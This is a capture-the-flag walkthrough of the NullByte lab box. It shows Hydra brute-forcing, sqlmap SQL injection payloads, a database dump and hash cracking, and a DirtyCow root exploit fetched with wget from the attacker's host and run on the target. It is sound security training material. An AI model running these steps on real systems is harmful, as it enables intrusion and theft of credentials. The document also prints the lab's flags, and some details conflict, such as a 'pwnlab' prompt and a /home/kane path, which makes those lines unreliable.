Summary #
On port 80 there is a website with an image, when analyzed with exiftool, containing a hidden directory name. When asked for a key we don’t have, we use Hydra. Once passed that, we have a field that is vulnerable for SQL injection. Using SQLmap we dump the database and get a credential hash. Using http://hashes.com we crack the hash and are able to login using SSH. Once on the target we see it’s vulnerable for DirtyCow (CVE-2016-5195). We use this to get root.
Specifications #
- Name: NULLBYTE
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- System overview: Linux NullByte 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt11-1+deb8u2 (2015-07-17) i686 GNU/Linux
- IP address: 192.168.144.16
- OFFSEC provided credentials: None
- HASH:
local.txt:4a2836313bc0b7aa68dd9264ee69d271 - HASH:
proof.txt:81858557b87bb84a2032c9aad0f98c40
Preparation #
First we’ll create a directory structure for our files and set the IP address to a bash variable and ping the target:
mkdir nullbyte && cd nullbyte && mkdir enum files exploits uploads tools
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Aug 23 17:19 .
drwxrwxr-x 103 kali kali 4096 Aug 23 17:19 ..
drwxrwxr-x 2 kali kali 4096 Aug 23 17:19 enum
drwxrwxr-x 2 kali kali 4096 Aug 23 17:19 exploits
drwxrwxr-x 2 kali kali 4096 Aug 23 17:19 files
drwxrwxr-x 2 kali kali 4096 Aug 23 17:19 tools
drwxrwxr-x 2 kali kali 4096 Aug 23 17:19 uploads
ip=192.168.144.16
ping $ip
PING 192.168.144.16 (192.168.144.16) 56(84) bytes of data.
64 bytes from 192.168.144.16: icmp_seq=1 ttl=61 time=19.5 ms
^C
--- 192.168.144.16 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 19.539/19.539/19.539/0.000 ms
Reconnaissance #
Portscanning #
Using the rustscan tool we can see what TCP ports are open.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Nmap? More like slowmap.đ˘
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.144.16:80
Open 192.168.144.16:111
Open 192.168.144.16:777
Open 192.168.144.16:51297
[~] Starting Script(s)
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-23 17:20 +0200
Initiating Ping Scan at 17:20
Scanning 192.168.144.16 [4 ports]
Completed Ping Scan at 17:20, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:20
Completed Parallel DNS resolution of 1 host. at 17:20, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 17:20
Scanning 192.168.144.16 [4 ports]
Discovered open port 51297/tcp on 192.168.144.16
Discovered open port 777/tcp on 192.168.144.16
Discovered open port 80/tcp on 192.168.144.16
Discovered open port 111/tcp on 192.168.144.16
Completed SYN Stealth Scan at 17:20, 0.03s elapsed (4 total ports)
Nmap scan report for 192.168.144.16
Host is up, received reset ttl 61 (0.017s latency).
Scanned at 2026-08-23 17:20:27 CEST for 0s
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 61
111/tcp open rpcbind syn-ack ttl 61
777/tcp open multiling-http syn-ack ttl 61
51297/tcp open unknown syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds
Raw packets sent: 8 (328B) | Rcvd: 5 (216B)
Copy the output of open ports into a file called ports within the files directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
80/tcp open http syn-ack ttl 61
111/tcp open rpcbind syn-ack ttl 61
777/tcp open multiling-http syn-ack ttl 61
51297/tcp open unknown syn-ack ttl 61
Run the following command to get a string of all open ports and add in with a NMAP command to portscan found open ports:
sudo nmap -T3 -p $(awk -F'/' '{print $1}' files/ports | paste -sd, -) -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Null Byte 00 - level 1
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
111/tcp open rpcbind syn-ack ttl 61 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 34771/udp6 status
| 100024 1 35910/udp status
| 100024 1 46689/tcp6 status
|_ 100024 1 51297/tcp status
777/tcp open ssh syn-ack ttl 61 OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 1024 16:30:13:d9:d5:55:36:e8:1b:b7:d9:ba:55:2f:d7:44 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBALLUIu4tXFadebYrnD994oq52RRYSpBO4UBHiXnGTGEgm6UlIDR8IT81T9RaJg5DjFIfjfzTfeIJVmDKMk2Zz/itniXKB7FRbF5Exyp4Vu2IzD76Iepu1qBmGrQdgtAwR+rCtu4KQ30KtCK48OvZO409Nbff8AB5ScuHePourSMVAAAAFQDbcAuY6E2l8runB/XMCs4kevsorQAAAIBlurtYJXxZFPdyfnVzCvGlp74pknTmM7BExEyU5tdJAGjPPF3+ApdNXk9b8cWKoKsGK++cEQgkZAuIgj9uso853WwS4NArT/P0j9cmqvKmMmClZWMFf/pXARoW9MsyZ9Eudo2TWBEgtqknVqStsSAp5UaxITyFCGoISaAJSpXtawAAAIEAnGErIK3lL2HxBvKbVJYpKdY9jjlsd+Ly8iPJW5m2BUXRDPVMU4kN5yhXfcK9Ls4W/SWApzj7zt5c5j3KixB8+pjpIMZqqnHbDcHbL1o+gPbwaSzeZVrHxnmCay3eWadclIykRadr3wdsnCa+6wSGEAW/1VbODQ4g84jRVj3iHCo=
| 2048 29:aa:7d:2e:60:8b:a6:a1:c2:bd:7c:c8:bd:3c:f4:f2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCk720eL8a5T2a7mSbBQm1Ga6mDBH354s4kS4YPzJdZDgpdsRpqyZtrYr09HxkOpdk2Qt5yVo8Wq0UCqGmcqSd5u8Zx36OjUp3gwKhyQD8HXfhr3Edp65wt3PY7jlEKyXrGiJPQWYCOJAxfRW+VzBM13EKRWjS+jlovyjz0/BJpdX/cehGTyg/YkOT98g2oiDZm8ydGmFHa1psATUf2/39NVA6ef6eL+WtrYRljiV7Bu4qrX+WU2DLCZy28SjA23m48I+Thy05pLZTgEYGeBAH6UbC+96DUyrSqbAF0I+OBPXNclrmSB956VdDOBe6RjSJsrO9bXUQbb5oT2XnjdTTB
| 256 60:06:e3:64:8f:8a:6f:a7:74:5a:8b:3f:e1:24:93:96 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAkdg5B2LQmX+0vhiEavzVhKN0ZaU1e1Zi1ANcCmz5W63z65sBL6iRvzF+XNCW3dmsvsC1lRlLYDpj94RElY3ag=
| 256 bc:f7:44:8d:79:6a:19:48:76:a3:e2:44:92:dc:13:a2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINxwJ5299oAQPJtmnso4wAqIdz2ACkCMWsvxgf16XX/G
51297/tcp open status syn-ack ttl 61 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
This a CTFfie box. So, on port 80 there is a single page website with nothing to see, however there is image show called main.gif.
Let’s download it and examine the metadata of the image with exiftool.
## change directory
cd files
## download image
wget 'http://192.168.144.16/main.gif'
--2026-08-23 17:46:09-- http://192.168.144.16/main.gif
Connecting to 192.168.144.16:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16647 (16K) [image/gif]
Saving to: âmain.gifâ
main.gif 100%[===========================================================================>] 16.26K --.-KB/s in 0.02s
2026-08-23 17:46:09 (1019 KB/s) - âmain.gifâ saved [16647/16647]
## examine file with exiftool
exiftool main.gif
ExifTool Version Number : 13.55
File Name : main.gif
Directory : .
File Size : 17 kB
File Modification Date/Time : 2015:08:01 18:39:30+02:00
File Access Date/Time : 2026:08:23 17:46:09+02:00
File Inode Change Date/Time : 2026:08:23 17:46:09+02:00
File Permissions : -rw-rw-r--
File Type : GIF
File Type Extension : gif
MIME Type : image/gif
GIF Version : 89a
Image Width : 235
Image Height : 302
Has Color Map : No
Color Resolution Depth : 8
Bits Per Pixel : 1
Background Color : 0
Comment : P-): kzMb5nVYJw
Image Size : 235x302
Megapixels : 0.071
In the Comment we see a odd text: P-): kzMb5nVYJw. This could be a password or a directory. Since we don’t have anything to logon to, let’s try this in a URL:
Now we’re shown a Key field, but we don’t have anything to go on. Viewing the source of this page there is a comment: <!-- this form isn't connected to mysql, password ain't that complex --!>, so the password can probably be brute-forced. Let’s try. Just enter a value (ex. test) and intercept the request in BURP.
Looking at the request and response we can define a Hydra command.
## run hydra
hydra -l '' -P /opt/rockyou.txt $ip http-post-form '/kzMb5nVYJw/index.php:key=^PASS^:invalid key'
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-08-23 17:55:44
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344401 login tries (l:1/p:14344401), ~896526 tries per task
[DATA] attacking http-post-form://192.168.144.16:80/kzMb5nVYJw/index.php:key=^PASS^:invalid key
[STATUS] 3427.00 tries/min, 3427 tries in 00:01h, 14340974 to do in 69:45h, 16 active
[STATUS] 3454.33 tries/min, 10363 tries in 00:03h, 14334038 to do in 69:10h, 16 active
[STATUS] 3493.14 tries/min, 24452 tries in 00:07h, 14319949 to do in 68:20h, 16 active
[80][http-post-form] host: 192.168.144.16 password: elite
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
We get the key: elite. Now we get a search field searching for usernames. But we don’t have anything. Trying SQL injection is always a good start. Entering the double quote key " we get an SQL error.
So, let’s run this request through BURP, intercept it and send it to the repeater tab. Once the right-click on the request and select Save selected text to file. Now give it the name req.
sqlmap -r req --dbms=mysql --level 5 --risk 3 --batch
___
__H__
___ ___[(]_____ ___ ___ {1.10.8#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:13:36 /2026-08-23/
[18:13:36] [INFO] parsing HTTP request from 'req'
[18:13:36] [INFO] testing connection to the target URL
[18:13:36] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
[18:13:36] [INFO] testing if the target URL content is stable
[18:13:37] [INFO] target URL content is stable
<SNIP>
[18:13:48] [INFO] GET parameter 'usrtosearch' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[18:13:48] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:13:48] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:13:48] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[18:13:48] [INFO] target URL appears to have 3 columns in query
[18:13:48] [INFO] GET parameter 'usrtosearch' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'usrtosearch' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 79 HTTP(s) requests:
---
Parameter: usrtosearch (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: usrtosearch=" AND 2193=2193-- WLLZ
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: usrtosearch=" AND EXTRACTVALUE(8869,CONCAT(0x5c,0x717a626a71,(SELECT (ELT(8869=8869,1))),0x7176716b71))-- qgSz
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: usrtosearch=" AND (SELECT 5604 FROM (SELECT(!SLEEP(5)))lGwr)-- laGT
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: usrtosearch=" UNION ALL SELECT NULL,CONCAT(0x717a626a71,0x47757951557847686342577378744b55674a786674565045684e6348694e666e4d724461696a4974,0x7176716b71),NULL-- -
---
[18:13:49] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 8 (jessie)
web application technology: Apache 2.4.10
back-end DBMS: MySQL >= 5.1
[18:13:49] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.144.16'
[*] ending @ 18:13:49 /2026-08-23/
## dump the database
sqlmap -r req --dump
___
__H__
___ ___[(]_____ ___ ___ {1.10.8#stable}
|_ -| . ["] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:14:36 /2026-08-23/
[18:14:36] [INFO] parsing HTTP request from 'req'
[18:14:36] [INFO] resuming back-end DBMS 'mysql'
[18:14:36] [INFO] testing connection to the target URL
[18:14:36] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: usrtosearch (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: usrtosearch=" AND 2193=2193-- WLLZ
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: usrtosearch=" AND EXTRACTVALUE(8869,CONCAT(0x5c,0x717a626a71,(SELECT (ELT(8869=8869,1))),0x7176716b71))-- qgSz
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: usrtosearch=" AND (SELECT 5604 FROM (SELECT(!SLEEP(5)))lGwr)-- laGT
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: usrtosearch=" UNION ALL SELECT NULL,CONCAT(0x717a626a71,0x47757951557847686342577378744b55674a786674565045684e6348694e666e4d724461696a4974,0x7176716b71),NULL-- -
---
[18:14:36] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 8 (jessie)
web application technology: Apache 2.4.10
back-end DBMS: MySQL >= 5.1
[18:14:36] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[18:14:36] [INFO] fetching current database
[18:14:36] [WARNING] reflective value(s) found and filtering out
[18:14:36] [INFO] fetching tables for database: 'seth'
[18:14:36] [INFO] fetching columns for table 'users' in database 'seth'
[18:14:36] [INFO] fetching entries for table 'users' in database 'seth'
Database: seth
Table: users
[2 entries]
+----+---------------------------------------------+--------+------------+
| id | pass | user | position |
+----+---------------------------------------------+--------+------------+
| 1 | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank> |
| 2 | --not allowed-- | isis | employee |
+----+---------------------------------------------+--------+------------+
[18:14:36] [INFO] table 'seth.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.144.16/dump/seth/users.csv'
[18:14:36] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.144.16'
[*] ending @ 18:14:36 /2026-08-23/
Using SQLmap we find two username: ramses and isis with only a password for the ramses user: YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE. To identify the hash we can use: https://hashes.com. This gives us this output: YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE:c6d6bd7ebf806f43c76acc3681703b81. When we again try to identify the hash by searching again, we get: c6d6bd7ebf806f43c76acc3681703b81:omega. So the credentials are probably ramses:omega. But for what, probably for SSH on port 777.
## try logging in using `ramses:omega` on SSH port 777
ssh ramses@$ip -p 777
The authenticity of host '[192.168.144.16]:777 ([192.168.144.16]:777)' can't be established.
ED25519 key fingerprint is: SHA256:qwvVlash7TV33eAaRVfTtUXVDL3X94TXIadEOmWw6gQ
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.144.16]:777' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
ramses@192.168.144.16's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
ramses@NullByte:~$
ramses@NullByte:~$ cat local.txt
4a2836313bc0b7aa68dd9264ee69d271
Privilege Escalation #
Now, upload linpeas.sh to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.182
## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on target
## download `linpeas.sh` using the open port 80
ramses@NullByte:~$ wget http://192.168.45.182/linpeas.sh
--2026-08-24 00:22:39-- http://192.168.45.182/linpeas.sh
Connecting to 192.168.45.182:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1133905 (1.1M) [text/x-sh]
Saving to: âlinpeas.shâ
linpeas.sh 100%[=============================================================================>] 1.08M 5.45MB/s in 0.2s
2026-08-24 00:22:39 (5.45 MB/s) - âlinpeas.shâ saved [1133905/1133905]
## set the execution bit
ramses@NullByte:~$ chmod +x linpeas.sh
## run `linpeas.sh`
ramses@NullByte:~$ ./linpeas.sh
The linpeas.sh output shows the target is vulnerable for DirtyCow (CVE-2016-5195).
## locally
## change directory
cd uploads
## download exploit
wget https://www.exploit-db.com/download/40839
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.182
## run python webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## remote on target
## download exploit to server
ramses@NullByte:~$ wget http://192.168.45.182/dirty.c
--2026-08-24 01:15:41-- http://192.168.45.182/dirty.c
Connecting to 192.168.45.182:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5006 (4.9K) [application/octet-stream]
Saving to: âdirty.câ
40839 100%[=============================================================================>] 4.89K --.-KB/s in 0.001s
2026-08-24 01:15:41 (6.83 MB/s) - âdirty.câ saved [5006/5006]
## compile c code using gcc
ramses@NullByte:~$ gcc -pthread dirty.c -o dirty -lcrypt
## change permissions
ramses@NullByte:~$ chmod +x ./dirty
## run exploit and enter a new password, after that press CTRL+C
ramses@NullByte:~$ ./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password:
Complete line:
firefart:fi1IpG9ta02N.:0:0:pwned:/root:/bin/bash
mmap: b7785000
^C
## switch to the firefart user with the entered password
ramses@NullByte:~$ su firefart
Password:
## find local.txt
firefart@pwnlab:/var/tmp# find / -iname 'local.txt' 2>/dev/null
/home/kane/local.txt
## print proof.txt
firefart@NullByte:/home/ramses# cat /root/proof.txt
81858557b87bb84a2032c9aad0f98c40